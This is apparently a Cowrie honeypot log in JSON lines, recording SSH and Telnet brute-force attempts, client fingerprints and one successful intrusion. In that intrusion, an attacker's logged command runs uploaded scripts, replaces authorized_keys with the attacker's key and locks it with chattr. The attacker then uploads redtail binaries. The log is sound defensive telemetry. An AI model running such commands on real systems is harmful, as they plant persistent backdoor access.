{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:08:23.704624Z","src_ip":"172.105.63.214","session":"1e13878d25cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.144.233","src_port":40044,"dst_ip":"159.203.135.109","dst_port":22,"session":"84b3793fe3bf","protocol":"ssh","message":"New connection: 64.227.144.233:40044 (159.203.135.109:22) [session: 84b3793fe3bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:08:43.513148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:08:43.517316Z","src_ip":"64.227.144.233","session":"84b3793fe3bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:08:43.736264Z","src_ip":"64.227.144.233","session":"84b3793fe3bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdnt","password":"rdnt1","message":"login attempt [rdnt/rdnt1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:08:44.176447Z","src_ip":"64.227.144.233","session":"84b3793fe3bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:08:45.397419Z","src_ip":"64.227.144.233","session":"84b3793fe3bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.148.23.248","src_port":33117,"dst_ip":"159.203.135.109","dst_port":23,"session":"142c454d04f9","protocol":"telnet","message":"New connection: 120.148.23.248:33117 (159.203.135.109:23) [session: 142c454d04f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:09:18.832837Z"}
{"eventid":"cowrie.session.closed","duration":13.393593549728394,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:09:32.226343Z","src_ip":"120.148.23.248","session":"142c454d04f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.254.168","src_port":49626,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0da64feb371","protocol":"ssh","message":"New connection: 103.153.254.168:49626 (10.17.0.5:22) [session: e0da64feb371]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:09:36.786447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:09:36.790743Z","src_ip":"103.153.254.168","session":"e0da64feb371","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:09:37.068366Z","src_ip":"103.153.254.168","session":"e0da64feb371","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cisco","password":"password","message":"login attempt [cisco/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:09:38.221539Z","src_ip":"103.153.254.168","session":"e0da64feb371","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:09:39.512349Z","src_ip":"103.153.254.168","session":"e0da64feb371","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.187.200.190","src_port":35140,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b50cf7c09f6","protocol":"ssh","message":"New connection: 172.187.200.190:35140 (10.17.0.5:22) [session: 2b50cf7c09f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:09:44.968644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:09:44.977441Z","src_ip":"172.187.200.190","session":"2b50cf7c09f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:09:45.060502Z","src_ip":"172.187.200.190","session":"2b50cf7c09f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rlc","password":"rlc1","message":"login attempt [rlc/rlc1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:09:45.232010Z","src_ip":"172.187.200.190","session":"2b50cf7c09f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:09:46.318016Z","src_ip":"172.187.200.190","session":"2b50cf7c09f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.208.206.75","src_port":44432,"dst_ip":"159.203.135.109","dst_port":22,"session":"65576cdcab3a","protocol":"ssh","message":"New connection: 91.208.206.75:44432 (159.203.135.109:22) [session: 65576cdcab3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:09:47.742299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:09:50.151829Z","src_ip":"91.208.206.75","session":"65576cdcab3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:09:50.155695Z","src_ip":"91.208.206.75","session":"65576cdcab3a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"P","message":"login attempt [root/P] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:09:58.226888Z","src_ip":"91.208.206.75","session":"65576cdcab3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.1","message":"Connection lost after 11.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:09:58.879462Z","src_ip":"91.208.206.75","session":"65576cdcab3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.56","src_port":52404,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d4fb9e4f296","protocol":"ssh","message":"New connection: 92.118.39.56:52404 (10.17.0.5:22) [session: 6d4fb9e4f296]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:10:01.725544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:10:01.736981Z","src_ip":"92.118.39.56","session":"6d4fb9e4f296","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:10:01.840105Z","src_ip":"92.118.39.56","session":"6d4fb9e4f296","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.51","src_port":36216,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7f3b67feeb1","protocol":"ssh","message":"New connection: 130.12.180.51:36216 (159.203.135.109:22) [session: f7f3b67feeb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:10:01.963636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:10:01.970105Z","src_ip":"130.12.180.51","session":"f7f3b67feeb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5f904648ee8964bef0e8834012e26003","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5f904648ee8964bef0e8834012e26003","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:10:02.055318Z","src_ip":"130.12.180.51","session":"f7f3b67feeb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:10:02.248773Z","src_ip":"92.118.39.56","session":"6d4fb9e4f296","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"P","message":"login attempt [root/P] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:10:02.307927Z","src_ip":"130.12.180.51","session":"f7f3b67feeb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:10:03.350044Z","src_ip":"92.118.39.56","session":"6d4fb9e4f296","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:10:19.940014Z","src_ip":"130.12.180.51","session":"f7f3b67feeb1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"","message":"CMD: chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:10:19.943702Z","src_ip":"130.12.180.51","session":"f7f3b67feeb1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4a869e4a816476f12d5cd6aab0625c5f6aab97714a486f6b8a5f484cbc8981f6","size":83,"shasum":"4a869e4a816476f12d5cd6aab0625c5f6aab97714a486f6b8a5f484cbc8981f6","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4a869e4a816476f12d5cd6aab0625c5f6aab97714a486f6b8a5f484cbc8981f6 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:10:20.031191Z","src_ip":"130.12.180.51","session":"f7f3b67feeb1","protocol":"ssh"}
{"eventid":"cowrie.session.file_upload","filename":"clean.sh","outfile":"var/lib/cowrie/downloads/d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e","shasum":"d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e","message":"SFTP Uploaded file \"clean.sh\" to var/lib/cowrie/downloads/d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:10:20.118196Z","src_ip":"130.12.180.51","session":"f7f3b67feeb1","protocol":"ssh"}
{"eventid":"cowrie.session.file_upload","filename":"redtail.arm7","outfile":"var/lib/cowrie/downloads/3625d068896953595e75df328676a08bc071977ac1ff95d44b745bbcb7018c6f","shasum":"3625d068896953595e75df328676a08bc071977ac1ff95d44b745bbcb7018c6f","message":"SFTP Uploaded file \"redtail.arm7\" to var/lib/cowrie/downloads/3625d068896953595e75df328676a08bc071977ac1ff95d44b745bbcb7018c6f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:10:20.126819Z","src_ip":"130.12.180.51","session":"f7f3b67feeb1","protocol":"ssh"}
{"eventid":"cowrie.session.file_upload","filename":"redtail.arm8","outfile":"var/lib/cowrie/downloads/dbb7ebb960dc0d5a480f97ddde3a227a2d83fcaca7d37ae672e6a0a6785631e9","shasum":"dbb7ebb960dc0d5a480f97ddde3a227a2d83fcaca7d37ae672e6a0a6785631e9","message":"SFTP Uploaded file \"redtail.arm8\" to var/lib/cowrie/downloads/dbb7ebb960dc0d5a480f97ddde3a227a2d83fcaca7d37ae672e6a0a6785631e9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:10:20.136336Z","src_ip":"130.12.180.51","session":"f7f3b67feeb1","protocol":"ssh"}
